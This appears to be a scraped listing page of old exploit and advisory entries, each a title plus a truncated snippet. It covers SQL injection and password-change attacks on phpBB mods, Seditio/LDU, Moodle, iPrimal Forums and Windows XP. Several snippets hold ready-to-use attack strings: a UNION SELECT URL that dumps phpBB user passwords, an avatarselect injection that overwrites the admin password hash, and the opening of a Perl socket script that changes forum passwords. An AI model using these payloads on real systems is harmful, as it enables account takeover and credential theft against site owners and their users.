iFRAME for PhpNuke (iframe.php) Remote File Include Vulnerabilities

--/ INTRODUCTION -- / Advisory : MOODLE = 1.5.2 user password read out Release Date : 17. March 2007 Application : Moodle.org is a course management system CMS : to help educators create effective online learning communities. Impact : read out user account passwords in md5 hash Googledork :...

phpBB Minerva Mod <= 2.0.21 build 238a SQL Injection Vulnerability

No description provided by source. ======================X=O=R=O=N===================== + + PHPBB Minerva Mod = 2.0.21 build 238a forum.php Remote SQL Injection Exploit + ======================X=O=R=O=N===================== + + Bulan: xoron + + xoron.biz +...

minerva-sql.txt

======================X=O=R=O=N===================== + + PHPBB Minerva Mod = 2.0.21 build 238a forum.php Remote SQL Injection Exploit + ======================X=O=R=O=N===================== + + Bulan: xoron + + xoron.biz + ======================X=O=R=O=N===================== + + SQL INJ: + +...

Mysteriously replaced Windows XP user password-vulnerability warning-the black bar safety net

Windows XP startup scriptstartup scriptsis a computer in the login screen to appear before running the batch file, which functions similar to the Windows 9X and DOS automatically executed batch file, the autoexec. bat. Using this feature, you can write a batch file to re-set the user password, an...

CVE-2007-0697

CVE-2007-0697 affects the ACGVannu web application (version 1.3 and earlier). The issue is a logic flaw in index2.php related to a modified id parameter (referenced by templates/modif.html) that allows remote attackers to change a user’s password or profile. The available sources report this as a...

Teach you in a mirroring system to copy the administrator account-vulnerability warning-the black bar safety net

Often see some people in the invasion of a Windows 2 0 0 0 or Windows NT after the grandly create an Administrator group of users, it seems that when the administrator is not present generally, today, even contrary to what even the previous of the mind, Share one similar to the RootKit thing, of...

Acronym Mod v0.9.5 Remote SQL Injection Vulnerability

Acronym Mod v0.9.5 Remote SQL Injection Vulnerability Download: http://www.codemonkeyx.net Found By: the master exploit: http://Target/Path/admin/adminacronyms.php?mode=edit&id=-120UNION20SELECT20null,userpassword,null20FROM20phpbbusers20where20userid=2&sid=AdminHash Greetz: str0ke , Dr Max Virus...

phpBB2 Plus 1.53 - Acronym Mod SQL Injection

phpBB2 Plus 1.53 - Acronym Mod SQL Injection Acronym Mod v0.9.5 Remote SQL Injection Vulnerability Download: http://www.codemonkeyx.net Found By: the master exploit:...

Mysteriously replaced Windows XP user password-vulnerability warning-the black bar safety net

Windows XP startup scriptstartup scriptsis a computer in the login screen to appear before running the batch file, which functions similar to the Windows 9×and DOS automatically executed batch file, the autoexec. bat. Using this feature, you can write a batch file to re-set the user password, and...

blogsql.txt

Open any blog entry 2. Try to reply to any message 3. Push "Preview message" button Do not post your reply 4. Save source code of opened page to your PC 5. Find this string ' / 6. Change with this SQL Injection: UNION SELECT b.entryid, b.blogid, b.categoryid, b.entryauthorid, b.entryauthorname,...

FreeBSD-SA-06:25.kmem

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ============================================================================= FreeBSD-SA-06:25.kmem Security Advisory The FreeBSD Project Topic: Kernel memory disclosure in firewire4 Category: core Module: sysdev Announced: 2006-12-06 Credits: Rodrigo...

Neocrome Land Down Under Profile.Inc.PHP SQL 注入漏洞

Neocrome Land Down Under是一款基于PHP的WEB应用程序。 Neocrome Land Down Under不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行sql注入攻击，获得敏感信息。 问题是由于'Profile.Inc.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意sql查询作为参数数据，可更改原来的sql逻辑，获得敏感信息。 Neocrome Land Down Under 8.0 目前没有解决方案提供： http://www.neocrome.ne/...

Hacks List phpBB Mod <= 1.21 Remote SQL Injection Vulnerability

No description provided by source. Admin Hacks List v1.20 Remote SQL Injection Vulnerability Download: http://www.nivisec.com Found By: the master exploit:...

LDU <= 8.x (avatarselect id) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications =============================================================== LDU http://www.victim.com/users.php?m=profile&a=avatarselect&x=XVALUE&id=default.gifSQL Inject GET -...

Seditio 1.10 - avatarselect id SQL Injection

Seditio http://www.victim.com/users.php?m=profile&a=avatarselect&x=XVALUE&id=default.gifSQL Inject GET - http://www.victim.com/users.php?m=profile&a=avatarselect&x=011A99&id=default.gif%2500%2527,userpassword=%2527e10adc3949ba59abbe56e057f20f883e%2527//where//userid=1/ with this example remote...

Seditio <= 1.10 (avatarselect id) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ==================================================================== Seditio http://www.victim.com/users.php?m=profile&a=avatarselect&x=XVALUE&id=default.gifSQL Inject GET -...

Mysteriously replaced XP user password-vulnerability warning-the black bar safety net

Windows XP startup scriptstartup scriptsis a computer in the login screen to appear before running the batch file, which functions similar to the Windows 9×and DOS automatically executed batch file, the autoexec . bat. Using this feature, you can write a batch file to re-set the user password, an...

iPrimal Forums (admin/index.php) Change User Password Exploit

No description provided by source. !perl http://ipigroup.org/downloads/forums.zip Bl0od3r Germany shoutzz to all members of dC3 crew ,matrixkiller,eddie14 special to str0ke use IO::Socket; if @ARGV4 else &start ; sub start $host=$ARGV0; $path=$ARGV1; $user=$ARGV2; $passwd=$ARGV3;...

iPrimal Forums (admin/index.php) Change User Password Exploit

Exploit for unknown platform in category web applications ============================================================= iPrimal Forums admin/index.php Change User Password Exploit ============================================================= !perl Bl0od3r Germany shoutzz to all members of dC3 cre...

iPrimal Forums - '/admin/index.php' Change User Password

!perl http://ipigroup.org/downloads/forums.zip Bl0od3r Germany shoutzz to all members of dC3 crew ,matrixkiller,eddie14 special to str0ke use IO::Socket; if @ARGVnewProto="tcp",PeerAddr="$host",PeerPort="80" or die "Error"; print $sock "POST ".$path."admin/index.php?p=members&edit=".$user."...